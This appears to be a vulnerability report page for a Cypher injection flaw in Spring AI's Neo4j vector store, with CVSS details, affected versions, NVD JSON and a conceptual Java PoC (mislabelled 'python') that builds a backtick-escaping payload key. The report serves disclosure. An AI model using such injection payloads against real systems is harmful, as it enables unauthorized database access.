Security Vulnerability Report
中文
CVE-2026-22743 CVSS 7.5 HIGH

CVE-2026-22743

Published: 2026-03-27 06:16:38
Last Modified: 2026-04-16 20:23:15

Description

Spring AI's spring-ai-neo4j-store contains a Cypher injection vulnerability in Neo4jVectorFilterExpressionConverter. When a user-controlled string is passed as a filter expression key in Neo4jVectorFilterExpressionConverter of spring-ai-neo4j-store, doKey() embeds the key into a backtick-delimited Cypher property accessor (node.`metadata.`) after stripping only double quotes, without escaping embedded backticks.This issue affects Spring AI: from 1.0.0 before 1.0.5, from 1.1.0 before 1.1.4.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:* - VULNERABLE
Spring AI >= 1.0.0, < 1.0.5
Spring AI >= 1.1.0, < 1.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// This is a conceptual PoC demonstrating the injection of a backtick to break out of the Cypher property accessor. // Scenario: Passing a malicious filter key to a vulnerable Spring AI endpoint. import org.springframework.ai.vectorstore.filter.FilterExpressionBuilder; public class Exploit { public static void main(String[] args) { FilterExpressionBuilder builder = new FilterExpressionBuilder(); // Normal usage: builder.eq("author", "John") // Malicious usage: The key contains a backtick to escape the property context // The target query structure is likely: node.`metadata.{key}` = value // Payload: "key` OR 1=1 RETURN 1 //" // Resulting Cypher snippet: node.`metadata.key` OR 1=1 RETURN 1 //` = value String maliciousKey = "author` OR 1=1 RETURN 1 //"; // If the application passes this key to the converter: // The converter strips double quotes (none here) and embeds it. // The generated Cypher query becomes syntactically altered, executing the injected logic. System.out.println("Injecting key: " + maliciousKey); // In a real exploit, this would trigger a database call returning data or error messages confirming injection. } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22743", "sourceIdentifier": "[email protected]", "published": "2026-03-27T06:16:37.977", "lastModified": "2026-04-16T20:23:14.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Spring AI's spring-ai-neo4j-store contains a Cypher injection vulnerability in Neo4jVectorFilterExpressionConverter. When a user-controlled string is passed as a filter expression key in Neo4jVectorFilterExpressionConverter of spring-ai-neo4j-store, doKey() embeds the key into a backtick-delimited Cypher property accessor (node.`metadata.`) after stripping only double quotes, without escaping embedded backticks.This issue affects Spring AI: from 1.0.0 before 1.0.5, from 1.1.0 before 1.1.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.0.5", "matchCriteriaId": "28BAEC64-E23B-478B-B206-5580BB00516F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.0", "versionEndExcluding": "1.1.4", "matchCriteriaId": "E3774C35-AE82-486B-8E13-8FCC34D3CA30"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-22743", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}